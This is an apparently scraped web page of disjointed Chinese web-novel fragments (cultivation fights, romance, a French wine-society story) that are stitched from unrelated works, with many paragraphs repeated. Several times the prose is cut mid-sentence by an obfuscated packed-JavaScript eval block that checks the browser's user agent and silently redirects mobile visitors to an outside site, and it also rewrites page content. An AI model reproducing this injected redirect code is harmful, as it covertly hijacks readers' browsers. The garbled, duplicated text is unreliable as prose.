充满威胁的低吼声响起,对面那只双头蜥蜴似乎察觉到白敬轩的异常,那两颗丑陋的脑袋再次高高扬起,缓缓朝着白敬轩逼近。 “根据欧州某权威机构研究表明,足球比赛的上下半场开始阶段和即将结束阶段是进球的高峰期,所以我觉得剩下的这十分钟应该还有球进,只是到底是哪方取得进球就不得而知了……”解说嘉宾张璐说。 第125章 丰盛的蘑菇大餐 与此同时,悬浮舱的机关门外突然想起很大的撞击声,这把伊芙琳和阿信都吓了一跳。 甚至创造出的新维度本身,也是可以继续增加维度的。平行宇宙则可以在二维界面上分叉、三维上分叉就像树枝那样、四维上分叉。。。 “明霜爪的君子之风没什么不好,总比你这个杀起同胞不眨眼的家伙强多了吧?”阿信把这句话埋在心里没敢说出来,他感应周围的环境,眉头始终皱。 龙升猜到,那个打倒秦东的高手肯定是宇宙碎片能量的持有者,不然的话,普通的高手不是秦东的对手。 “你不是说,你杀了杨惠珍后,他们就会把你的老公和你的儿子放了吗?”龙升疑问道。 开战到现在,战局几经反转,一直都是腓特烈在吃惊,但这次轮到他们自己了。 “你别太狂妄了!把我们当成透明的?”普耶京夫忍不住出声道。 巨大的魔法阵被从后方撕裂,炫舞纷飞的火焰中奥历安勒如同天降下凡,抓着菈斐度和伊芙琳从中跃到地上。 霍雪桐听到权胜男的誓言,起身在她唇上落下一吻,吻得她满脸红晕。 远处的玄骨瞧到这一幕并没有惊慌,相反却兴奋异常,好似这是什么预兆似得。 “难道嫡系传人就不需要承担什么义务?”她有些不死心的问道。 半分钟,大家却像是过了半年似的,当他们看见林老头终于出现的时候,都不由得深深的吸了一口气,对林老头在江湖上的名气,大家都是比较了解的,所以此刻心中都不免有些忐忑。 因为这次剧组重新的整理,所以第一部分李燕子刺杀皇帝的场景就显得非常的简单,顺顺利利的进行了,接下来的就是林西凡英雄救美的时候了。 还好,没有什么人在附近,他赶紧走到了其他的地方,找到了一个卫生间,走进去洗了下身上的血迹和污渍。随后就简单的多了,等了不多久,就有个倒霉家伙走进了卫生间,而过了片刻,他就光溜溜的躺在卫生间里面了。 大天使长们直接走了,根本就不和光明神系的主神们理论了,这使得他们一下子没话可说了,都看着光辉主神格罗瑞,等着他的决定。 不记得并不代表失去,虽然过去的事情她都不记得,但还是可以感觉出她和陈爽之间自然而然的亲昵,还有偶尔剑拔弩张下的亲密。 黑色门户猛然爆发出强烈的光芒,随后,夏洛蒂的身影就被禁锢住了,并且从黑色门户中被传送了出来。莫吉克在一旁看的是目瞪口呆,看着天空中的那黑色门户,眼中满是羡慕。 就在这时,倒在地上的雷志强痛哼了几声,醒了过来。方才林峰那威猛的一个高劈,直接把他劈的吐血昏了过去。 这一开始南宫昊还想跟踪魏炎,但片刻之后,南宫昊便沮丧地向他老巢奔去了。 这么点个孩子,为什么有这么恐怖的感觉?凯宁逗闷的心一下子抛到了九霄云外。 看着雪月离开的背影,沈婉晴嘴角勾起。随后低下头,继续绣着手里的花样。 看着我呲牙咧嘴的表情,姐姐崩溃了。当着所有人的面大声的哭了出来。 我回头望了这两姐弟一眼,发现他们的兵器已经收起来了。这本来在我的意料之中,但让我始料不及的是,或许不会哭的手上居然拿着一条氤氲着淡淡紫色光芒的护手。 我和花香仰望着天空,天幕中,风扬和云英天涯携手,向我们微笑着远去了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14860084|159421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你可以叫我卡米尔。”这个身份,早就存在,告诉宫赫,是否可以打消他的疑虑? 徐昭和许诺陪了他们叶家这么多年,对他们叶家人,可说是忠心耿耿的,所以,叶灵汐才会让他们和王兵一直跟在叶老爷子的身边。 成虔的人看他们改了道,便有些急了,四下一商量,便决定从中间围过去,私兵散开,向他们那边悄悄移动。 梁王又惊又喜地望着她,内心激荡。原来她真的是来救他的!她不准崔悯杀他。她竟然如此对他,终于没有辜负他为她违抗父命,不介意她身份未定也要娶她的赤诚之心。此时此刻,他被崔悯击败了,他却觉得自己没有输。 君怀和微雨的手段,恐怕就能将帝都搅合得乱成一锅粥,无能之辈可动不了飞瀑城。 尾巴尖被踩扁的剧烈痛楚,让帕梅拉浑身过电一样颤抖,可是直到我离开,她都没敢把额头从地毯上拿开。 在这种地方做生意,最怕的自然就是惹上麻烦,不过有些时候,就算你不主动惹麻烦,麻烦还是会找到你头上来的。 经过二次改造之后,舰娘身上原本的那种锅炉也是早就换成了引擎,明石自然是知道一台好的引擎对于舰娘,对于一艘船有多么的重要。 想要解决眼前这些阴气,我只知道两种方法。最简便,最可行的就是增加安家的阳气。以此来融合这里的阴气!可是,要怎么才能增加阳气呢? 第二天一早,我就被刘轩辕的电话吵醒,他说他爷爷要来拜会我。 “自然是打了个半死,跟大堂兄一起下的黑手,刚发现流胤心怀不轨的时候。”叶倾风笑的很是无奈,她还真是被叶烈濯完全看穿了,不过谁让流胤事情做得这么不厚 道。 第126章 佐伊,这次你输了! 莉亚今晚很不满意,叫了维埃里和佐伊两次,他们依然没有坐到餐厅区域,甚至都没有在起居室出现。 罗南还不是咱们家的人呢。 你们就是这样对待客人的吗? 无礼! “耳朵聋了吗?”莉亚端着盘子,对两间卧室不满的大喊。 路易主动去叫两个孩子: “可能在忙,我去看看。” 很多事都要以用拳头解决,不过陈铁没打算在自家妹妹面前杀人或者伤人,所以,这次陈铁选择了别的方法,为陈灵出气。 倘若一切都是有所预谋,他和唐黎的婚姻走到尽头,是否也在黎盛夏的掌握之中? 走去电梯大厅,一路上,迎面而来的工作人员看到宋柏彦纷纷驻足,极其恭敬地喊“财长”。 “师妹最近真是忙,神龙见首不见尾。”师兄林升不知何时坐在了自己的身边。 他为了许欢颜可真的是没少砸钱,但是,没用,许欢颜也没给他一个笑脸。 最后这三个字,长安公主几乎是用尽了全部力气从嘴中吐了出来。 “荣幸之至。更荣幸的是,我很开心,在你自己看到的幻境之中,有我的存在!”她偏头望着我。 纪云龙表情开始凝重,因为他可以感觉到,他说这个事情好像不是什么好事情。 黎盛夏把温特斯塑造成拉斯维加斯本地的大家族,伊森当然知道,当唐黎来向他求证,他要做的,是让唐黎相信那些关于温特斯家族的消息。 刀气硬撼阵法结界的一刻,整个结界似乎都往后退了不少,宋琪更是一口鲜血喷了出去,其他四人也受到冲击,口呕朱红,但没有宋琪那么严重,阵法结界发生了晃动,随着刀气的冲击,阵法晃动的也越发厉害。 思及此处,在默契意味十足的静默之中,众多修士目中异色闪动,有着不少率先反应过来的修士,便是将略显调侃玩味的目光,投向了那三位本来在进行着最终激烈角逐竞价的三大州郡之人,心中有些幸灾乐祸。 就两人的容颜分辨,英袅袅是比云子妃大,可绝对不会超过两岁,此时正当妙龄,哪儿就大了?而且在公孙鸿面前,怎么可以说她年纪大? “发生了这么大的事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14860085|159421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情。有点担心,就想着来看看。”林语带着苏雨蝶去到他身边说。 无生不语,他已不在挣扎,石像般躺在大地上任由枪花欢心,枪花想怎么样就怎么样。 还回扬名道头颅的那天,他深深记得刑天也在里面,并没有出剑,他的剑始终没有出鞘。 “还没有。”林语冷冷的说,心念牵动,剑匣中的冰魄剑与紫雷剑同时出现在手,林语将灵力灌注在两把剑之上,两把剑立马给他回应,冰光与雷光齐齐发散出来,一声嘹亮的清鸣响彻星域。 作为基础职业之一,战士职业提供的职业加成为5点基础属性,分别是力量2点,体质2点,敏捷1点,除此之外,还为玩家提供【武器掌握】和【盔甲掌握】这两个职业能力。 于露尝试拨通其他酒店,发现李豪没有说的那些酒店,服务态度非常一般。可以说是形成强烈反差。 无生不语,盯着、戳着这人在湖水里扑腾、挣扎,脸上没有一丝表情,仿佛懒得有表情。 童谣不由得有些担心方醒的计划,但是看到方醒自始至终都挂着自信的笑容,还是定下了心。 第127章 贵族后裔 伊内斯给回复的时间比罗南预想的要晚。 罗南将火锅汤底做了两轮升级后,‘沃克吕兹省粉红酒协会’的聚会日期才确定。 会长伊内斯给罗南的解释是 “阿斯特丽德前一阵去了勃艮第,不确定什么时候回来,所以等了她一阵子。” 虽然知道阿斯特丽德祖先的‘光辉事迹’,但罗南对这位贵族后裔还是充 双双默默收回双手,很是乖巧的背在自己身后,但一双大眼直勾勾的盯着,这会儿说什么都不能移开了。 “操!!!这也太震撼了吧!!!”很少说脏话的宋队长咽了咽吐沫感叹道。再看其他众人此时都已经完全一副惊呆的表情。看着眼前的一切,他们甚至都已经将身后的噬馍给忘记了。 静谧的密林中,一如既往的安静,看似祥和的山林中,却隐藏着无法想象的危机。 从高空下坠,凌宝鹿已经不是第一次尝试了,所以她并不害怕,而是回头看着直升机门口的齐彧。 若是老百姓得不到安宁,幽州就休想安宁。赵逸紧盯着幽州地图目光闪动,一时之间也没有想到好办法。 林萧的声音虽然很低,却能听出其中的怒火,这话在金发青年的心理掀起了滔天巨浪。 “你疯了麼!!你怎能可以无缘无故的乱打人!!”季流年拼命的挣扎,但是完全无法撼动男人压倒性的力量。 只要不是悬崖就好,至于是不是有人故意安排的,大家此刻已经顾不得去想了。见此情景,没有过多犹豫,他们便一头钻了进去。 邱珍珍直直地盯着曾秋云的眼睛望去,想探寻点什么破绽,却没在她眼中发现一丝说谎的痕迹。 他只是把从洛阳皇宫中搜刮出来的一些在这个世界人看来是古董的东西带了过来。 羯族大汗已经去郡城指挥攻城去了,留在原来营地的部族首领组成一个临时的联席议会。 电磁波被探测仪器接收,通过语言词典的转换,一道充满了不可思议又带有惊喜的声音在星途号中响起。 伊万在一扇门上敲了两下,便开始安静地等待。当屋里人发出邀请之后,他才推开门。“让我向你们介绍丹妮卡?波纳杜斯。”矮人郑重其事地对拜访者们说。 苏星辰也是无语了,真不知道是这破系统懒了,还是它想不出更好的办法来了。 元灵殿不怕安静,就怕响动,这一响就代表着又有一名族人挂了。 “你在使用你那奇特的精神力观察她迈出的每一步吗,金穆瑞?”他无声地询问道。 真要研究这一份理论数据,其中的验证过程和数据验证量是一个很恐怖的量级,时间上浪费不说,这样投入进去验证研究,大家很难不被上面的想法理论和相关数据带歪。 高等级的合金武器,可以化为武者身体第一部分,叶垂虽然并没有听说过这种武器可以离体后被武者召唤回来的,但元能合金这种奇异的存在,有什么玄妙的特性他都不会奇怪。 登上蛋糕岛后,克力架他们便离开了,萨博在霍米兹的引领下,来到一座独立的别墅之中,环境倒是挺不错的,但这装修风格就没得说了,蛋糕、糖果····看着就有些没有食欲了。 可是夜清清想了想,自己做了就是做了,也不怕他们查到,只不过不想误伤了千叶家的人,所以才都摔了,砸了。 伊内斯给回复的时间比罗南预想的要晚。 罗南将火锅汤底做了两轮升级后,‘沃克吕兹省粉红酒协会’的聚会日期才确定。 会长伊内斯给罗南的解释是 “阿斯特丽德前一阵去了勃艮第,不确定什么时候回来,所以等了她一阵子。” 虽然知道阿斯特丽德祖先的‘光辉事迹’,但罗南对这位贵族后裔还是充 双双默默收回双手,很是乖巧的背在自己身后,但一双大眼直勾勾的盯着,这会儿说什么都不能移开了。 “操!!!这也太震撼了吧!!!”很少说脏话的宋队长咽了咽吐沫感叹道。再看其他众人此时都已经完全一副惊呆的表情。看着眼前的一切,他们甚至都已经将身后的噬馍给忘记了。 静谧的密林中,一如既往的安静,看似祥和的山林中,却隐藏着无法想象的危机。 从高空下坠,凌宝鹿已经不是第一次尝试了,所以她并不害怕,而是回头看着直升机门口的齐彧。 若是老百姓得不到安宁,幽州就休想安宁。赵逸紧盯着幽州地图目光闪动,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14860086|159421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时之间也没有想到好办法。 林萧的声音虽然很低,却能听出其中的怒火,这话在金发青年的心理掀起了滔天巨浪。 “你疯了麼!!你怎能可以无缘无故的乱打人!!”季流年拼命的挣扎,但是完全无法撼动男人压倒性的力量。 只要不是悬崖就好,至于是不是有人故意安排的,大家此刻已经顾不得去想了。见此情景,没有过多犹豫,他们便一头钻了进去。 邱珍珍直直地盯着曾秋云的眼睛望去,想探寻点什么破绽,却没在她眼中发现一丝说谎的痕迹。 他只是把从洛阳皇宫中搜刮出来的一些在这个世界人看来是古董的东西带了过来。 羯族大汗已经去郡城指挥攻城去了,留在原来营地的部族首领组成一个临时的联席议会。 电磁波被探测仪器接收,通过语言词典的转换,一道充满了不可思议又带有惊喜的声音在星途号中响起。 伊万在一扇门上敲了两下,便开始安静地等待。当屋里人发出邀请之后,他才推开门。“让我向你们介绍丹妮卡?波纳杜斯。”矮人郑重其事地对拜访者们说。 苏星辰也是无语了,真不知道是这破系统懒了,还是它想不出更好的办法来了。 元灵殿不怕安静,就怕响动,这一响就代表着又有一名族人挂了。 “你在使用你那奇特的精神力观察她迈出的每一步吗,金穆瑞?”他无声地询问道。 真要研究这一份理论数据,其中的验证过程和数据验证量是一个很恐怖的量级,时间上浪费不说,这样投入进去验证研究,大家很难不被上面的想法理论和相关数据带歪。 高等级的合金武器,可以化为武者身体第一部分,叶垂虽然并没有听说过这种武器可以离体后被武者召唤回来的,但元能合金这种奇异的存在,有什么玄妙的特性他都不会奇怪。 登上蛋糕岛后,克力架他们便离开了,萨博在霍米兹的引领下,来到一座独立的别墅之中,环境倒是挺不错的,但这装修风格就没得说了,蛋糕、糖果····看着就有些没有食欲了。 可是夜清清想了想,自己做了就是做了,也不怕他们查到,只不过不想误伤了千叶家的人,所以才都摔了,砸了。 第128章 单调?离谱! 确实,只剩下微型耀斑轰炸能力的她,就连用出中级耀斑轰炸都有些费劲。 咏儿害怕玉晴会离开,下意识的就伸手拉着她的衣服,不肯放她离开。 去御花园走走也不错,她才不想在这大厅里坐着,屁股都要坐疼了。 眼看制服了铜甲尸,赵西峰收回了手指铁链,之后喉头一阵涌动,啪啪的吐出了十来个白色的圆球来。 丁晓颖觉得,这都是因为有程青哥哥在给她撑腰,所以她才会表现的这样的有恃无恐。 看着丁琳露出来的阴冷表情,老实人王栋梁顿时就是打了一个寒颤,闭上嘴巴,再不敢多说一句话。 石永川把手中大刀一横,转身面向红光,他要阻止这红光,不然山水洞的兄弟被红光一照,谁也活不成。 “王某不才,如果真的有人可以把上面的剑法都学了去,而且融会贯通,也是为我王家争光不是吗?哈哈~”安素听他这么说,果然是个武痴。 刚才还呼风唤雨母夜叉一般,转眼间就是个惹人怜爱进退自如的大家闺秀。 当然了,如今在沐尚看来,他做的最错的不是纵容府里的人去欺负玉晴。 在镜廊的入口处,一栋栋雕刻精美的圆柱像是白色大理石的巨树,整齐的左右排列,所有能绘画的地方都画满了壁画。层层叠叠的水银镜窗镶入穹顶,将廊道的景象映照成密集的无数份镜影。 “……你这吊人胃口的表情和动作非常欠打。”林艾虚着眼睛说道,这家伙很明显就是在被打的边缘疯狂试探。 只是,离开时都不禁带着激动的表情,真是巴不得,至强之门立刻现世,那才最好呢。 “梦雪,联系一下林颖儿,我要跟她确定一下事情。”李方诚回到广府之后,马上着手一系列安排。 当然,这与他的实力有着莫大的关系,修炼到他这个境界,真不是说突破就能够突破的,纵使徐无忧拥有至强之资也没有那么容易。 然后,不知道谁喊了一声,立时,大有登高一呼,众山响应的意思,响应者无数,喊声震天,气势非凡。 因为这条路很特殊,周围都是险山,对于周围不熟悉的人根本不敢踏入山中,进入就是迷路。 当他的身影飞奔着穿过涡眼之后,一阵光怪陆离的橘色强光扫过眼球,紧接着视野忽然变得清晰开阔起来,周围的异状也随之消失不见。 徐馨挂了电话,走进包厢跟陈思明说公司有些急事需要回去处理。 不过,敖烈还是向沈石走了过去。一如他所说,一切都是为了龙族。为了龙族,他可以舍弃自身。为了龙族,他同样可以干掉人教弟子。 “又过了一年,正是夏日一个晚上,我寨后的向阳岭突然燃起大火,吞没了的一个村子,还烧死四人,众人赶去全力救火,却越烧越旺。 “好了,有什么不好解释的,不就是我叔看上了你把你从学校的深渊拉向了地狱。”沈铜插道。 我将我的想法说出来,原以为母亲会生气,却没想到母亲只是笑了笑,什么都没有说,转身又去忙去了。 因为他知道,他不属于这里,他是一个外来者,如果这样做可以让一些悲剧事不会发生。 “我只是开开玩笑,我才不是那样的人,衣服我让酒店的管理员精心给你挑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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而且就算融合敌体之后,想要突破到血宗的境界也是需要一定机缘的。像使用神血直接突破,可以说是占了大便宜了。 对面沙发里的男人,上半身微微往后轻靠,他双腿交叠,那张过分好看的脸庞看不出半点情绪起伏。 “今天的事情,不能就这么算了!”秦虎乃是睚眦必报之人,虽然苏辰的眼神让他心底发寒,可是如果就这么算了,他并不甘心。 回到西府名都,已经十一点多。顾唯深换鞋进来后,直接上了二楼,季笙歌晚饭没吃,但想到顾锐一路开车回来,她也不好意思麻烦顾锐再准备晚饭。 “那个中尉官一直盯着我们,还让我们怎么聊?”慕丝音很是不爽。 “好了,时间也不早了,保重!”纳兰嫣然没有多说其他的,淡淡的说道。 “你们是什么人?”他不善地打量着苏辰以及徐夫人他们几个,面露不善之色。 就如同这次买下庄子和下人,柳絮就不敢告诉刘氏,以她的脑回路,说不定说出些什么话来,与其娘俩个犯冲突,莫不如保持现状,享受难得的静谧与太平呢。 “妈,你不要这么说,姐姐其实很好看的,再说明天是姐姐的主场,你别再这么说了。”顾煖的声音。 想到这里的顾峥,只是摇了摇头,满是无奈的将它们塞在了百宝匣的最底下。 “你因为一个外人在责怪我?”姬无双双手环着胸,靠在椅背上。那丫头哪里来的魅力让姬家从上到下都喜欢的不得了。连一向眼高于顶的福伯都替她不平。 “八荒的天道规则,在这里无用,雪山有雪山的规则。平阳虽然天生伪仙根,但那是对八荒而言。在雪山内,并不适应。”雪魂子解释道。 “妈你少瞧不起人了,我好歹也是全校票选出来的校草第二!”吴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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看来市面上传言“皇城司不干人事,个个狗屎之辈”是空穴来风,是人胡诌的。 李少驹眼眸深邃,看了自己身上的装备一眼,心中冒出一个大胆的想法。 人家自己能做出这么好吃的菜,怎么可能吃他送的那没滋味的肉? 相比之前的路短,这里的赌石摊子就比较稀少了,人流量也少了将近七成。 高夫人坐正了身体,抬手拍在了锦被上。锦被无声地凹陷,并不发出半点声响。 最初的几天老秦在睡醒后端着部队里用的钢制脸盆出屋时,瞪大眼睛看着我。 林炎对于调查结果还是很满意的,竟然有超过百分之四十的人支持黑岩城进行扩大规模改建。 还有,其他的山脉都是绿树成荫,繁茂青翠,唯独这座高山,处处透着荒凉的气息。 洛雨早就想好的对策,用精神力包裹好花灯带起来,再用风之羽翼加速冲过去,只要不出意外,她一定能成为最先完成比赛的人。 林风唯一遗憾的是他不会亲自注气,但是他在宗门的时候多次协助师父注气,深知各种症状的注气量度以及患者的反应。 随着时间流逝,洛雨终于将杰克斯击落下台,戎承德和赫连厉也紧随其后,是她们三人胜利了。 台下的人都是翘首以待,他们都很想知道苏凌月会不会为了林风,从而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“莫大师,赤龙学宗是赤龙郡城中最好的修炼圣地,那里聚集了郡城中所有的天骄,只有在那里,你才能施展开拳脚,若是可以的话,我还是希望你能去看看!”古河冲莫无风笑道,眼中满是期待之色。 看到这一幕,那些炼丹师们心神颤了颤,随后狠狠的掐了掐自己。 毕竟有时候,匹夫无罪,怀璧其罪,要是被一些别有用心的人盯上,她们两人的处境就危险了。 三圣元气大伤之后,至此失去了,霸主光环。从此龟缩在盟中省一城之地,鲜少再露面,没事也不太轻易再露面,没事也几乎是处于被人遗忘的状态。 在我的软磨硬泡之下,他终于松口,极不情愿地答应继续待在茶馆,等我回客栈取来行李再一起去找知秋。但我们约定的时间不超过一刻钟。 卿寒山有宓氏这个正妃,也有倪氏那个侧妃,而姚氏,是庶妃,在王府,下面的人称宓氏为王妃,称倪氏为倪妃,称姚氏为姚夫人。 唐柏龄此时长叹一声,声音之中,带着三分的无奈,三分愤怒道。 在场众人一片宁静,一时这禅宗祖庭天柱绝顶,除却这一缕春风拂叶的声音和谷萍儿的呼号四寂无声。 祖秀只觉得浑身有股热流涌动,浑身有种说不出的舒服,仿佛浸泡在灵液之中。 易天看着那些黑人的音乐节奏真好,难道过黑人音乐如此牛逼,这种完全属于他们的天赋,他也只能拉着张晓云乱蹦乱跳,嗨就足够了。 古雅想起刚才的事情,哪里有心情去游泳了,将头要的跟拨浪鼓一般。 一道白色的骷髅架将李云包裹住,三代的金箍棒狠狠地将李云连带着他的须佐能乎一起击飞,在金箍棒接触须佐能乎的瞬间,还从金箍棒上爆发出一道火焰。 卫斯理申请国际援助,得到了联合的同意,陆庞方面自然也没什么意见。 而一旦他们发现这旅馆自身都存在问题的话,他们第一个怀疑的,肯定就是夜祭这个老板了。 但是现在,他的三观受到了强烈冲击,不再平静,先前自信的笑容在这一刻变成了惊悚。 “好了,我要开会了,你自己看着办,请务必取悦她。”莉莉娅的声音带着笑意,挂了电话。 苍玄庭没有直接拒绝“公主所言有理。”他只是说有理,却没有说答应,但是在司云霄的耳中却是前者,她这才松了口气,否则她都要对自己的魅力要失去信心了。 马赛在普罗旺斯被世界熟知之前,就是著名的旅游胜地了。 这座沿海的城市不仅有美丽的地中海风景,其他三面也全部是美丽的景观。 马赛北部有加拉邦山脉和埃图瓦勒山脉,海拔1000多米,适合徒步,风景秀丽。 马赛西部是前艺术家聚居地埃斯塔克,那是一座像油画一样美丽的渔村,法国著名艺术家塞尚在 在听到这个名字之后,在场的武者脸色骤然变得苍白起来,尤其是南宫灵,直接吓得瘫软到了地上。 可是让人郁闷的是哪怕她是星宿神体的体质也无法穿过这个结界,不用说,这个结界应该也算是传说当的实体结界之一。 把一壶茶喝光,也不见有人来找她,未免有些坐不住,于是踱至走廊上,眼睛盯着楼梯口,又等了半天,还是不见又人来,无奈只好回到房中继续等。 “莫大师,赤龙学宗是赤龙郡城中最好的修炼圣地,那里聚集了郡城中所有的天骄,只有在那里,你才能施展开拳脚,若是可以的话,我还是希望你能去看看!”古河冲莫无风笑道,眼中满是期待之色。 看到这一幕,那些炼丹师们心神颤了颤,随后狠狠的掐了掐自己。 毕竟有时候,匹夫无罪,怀璧其罪,要是被一些别有用心的人盯上,她们两人的处境就危险了。 三圣元气大伤之后,至此失去了,霸主光环。从此龟缩在盟中省一城之地,鲜少再露面,没事也不太轻易再露面,没事也几乎是处于被人遗忘的状态。 在我的软磨硬泡之下,他终于松口,极不情愿地答应继续待在茶馆,等我回客栈取来行李再一起去找知秋。但我们约定的时间不超过一刻钟。 卿寒山有宓氏这个正妃,也有倪氏那个侧妃,而姚氏,是庶妃,在王府,下面的人称宓氏为王妃,称倪氏为倪妃,称姚氏为姚夫人。 唐柏龄此时长叹一声,声音之中,带着三分的无奈,三分愤怒道。 在场众人一片宁静,一时这禅宗祖庭天柱绝顶,除却这一缕春风拂叶的声音和谷萍儿的呼号四寂无声。 祖秀只觉得浑身有股热流涌动,浑身有种说不出的舒服,仿佛浸泡在灵液之中。 易天看着那些黑人的音乐节奏真好,难道过黑人音乐如此牛逼,这种完全属于他们的天赋,他也只能拉着张晓云乱蹦乱跳,嗨就足够了。 古雅想起刚才的事情,哪里有心情去游泳了,将头要的跟拨浪鼓一般。 一道白色的骷髅架将李云包裹住,三代的金箍棒狠狠地将李云连带着他的须佐能乎一起击飞,在金箍棒接触须佐能乎的瞬间,还从金箍棒上爆发出一道火焰。 卫斯理申请国际援助,得到了联合的同意,陆庞方面自然也没什么意见。 而一旦他们发现这旅馆自身都存在问题的话,他们第一个怀疑的,肯定就是夜祭这个老板了。 但是现在,他的三观受到了强烈冲击,不再平静,先前自信的笑容在这一刻变成了惊悚。 “好了,我要开会了,你自己看着办,请务必取悦她。”莉莉娅的声音带着笑意,挂了电话。 苍玄庭没有直接拒绝“公主所言有理。”他只是说有理,却没有说答应,但是在司云霄的耳中却是前者,她这才松了口气,否则她都要对自己的魅力要失去信心了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14860090|159421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 马赛在普罗旺斯被世界熟知之前,就是著名的旅游胜地了。 这座沿海的城市不仅有美丽的地中海风景,其他三面也全部是美丽的景观。 马赛北部有加拉邦山脉和埃图瓦勒山脉,海拔1000多米,适合徒步,风景秀丽。 马赛西部是前艺术家聚居地埃斯塔克,那是一座像油画一样美丽的渔村,法国著名艺术家塞尚在 在听到这个名字之后,在场的武者脸色骤然变得苍白起来,尤其是南宫灵,直接吓得瘫软到了地上。 可是让人郁闷的是哪怕她是星宿神体的体质也无法穿过这个结界,不用说,这个结界应该也算是传说当的实体结界之一。 把一壶茶喝光,也不见有人来找她,未免有些坐不住,于是踱至走廊上,眼睛盯着楼梯口,又等了半天,还是不见又人来,无奈只好回到房中继续等。 “莫大师,赤龙学宗是赤龙郡城中最好的修炼圣地,那里聚集了郡城中所有的天骄,只有在那里,你才能施展开拳脚,若是可以的话,我还是希望你能去看看!”古河冲莫无风笑道,眼中满是期待之色。 看到这一幕,那些炼丹师们心神颤了颤,随后狠狠的掐了掐自己。 毕竟有时候,匹夫无罪,怀璧其罪,要是被一些别有用心的人盯上,她们两人的处境就危险了。 三圣元气大伤之后,至此失去了,霸主光环。从此龟缩在盟中省一城之地,鲜少再露面,没事也不太轻易再露面,没事也几乎是处于被人遗忘的状态。 在我的软磨硬泡之下,他终于松口,极不情愿地答应继续待在茶馆,等我回客栈取来行李再一起去找知秋。但我们约定的时间不超过一刻钟。 卿寒山有宓氏这个正妃,也有倪氏那个侧妃,而姚氏,是庶妃,在王府,下面的人称宓氏为王妃,称倪氏为倪妃,称姚氏为姚夫人。 唐柏龄此时长叹一声,声音之中,带着三分的无奈,三分愤怒道。 在场众人一片宁静,一时这禅宗祖庭天柱绝顶,除却这一缕春风拂叶的声音和谷萍儿的呼号四寂无声。 祖秀只觉得浑身有股热流涌动,浑身有种说不出的舒服,仿佛浸泡在灵液之中。 易天看着那些黑人的音乐节奏真好,难道过黑人音乐如此牛逼,这种完全属于他们的天赋,他也只能拉着张晓云乱蹦乱跳,嗨就足够了。 古雅想起刚才的事情,哪里有心情去游泳了,将头要的跟拨浪鼓一般。 一道白色的骷髅架将李云包裹住,三代的金箍棒狠狠地将李云连带着他的须佐能乎一起击飞,在金箍棒接触须佐能乎的瞬间,还从金箍棒上爆发出一道火焰。 卫斯理申请国际援助,得到了联合的同意,陆庞方面自然也没什么意见。 而一旦他们发现这旅馆自身都存在问题的话,他们第一个怀疑的,肯定就是夜祭这个老板了。 但是现在,他的三观受到了强烈冲击,不再平静,先前自信的笑容在这一刻变成了惊悚。 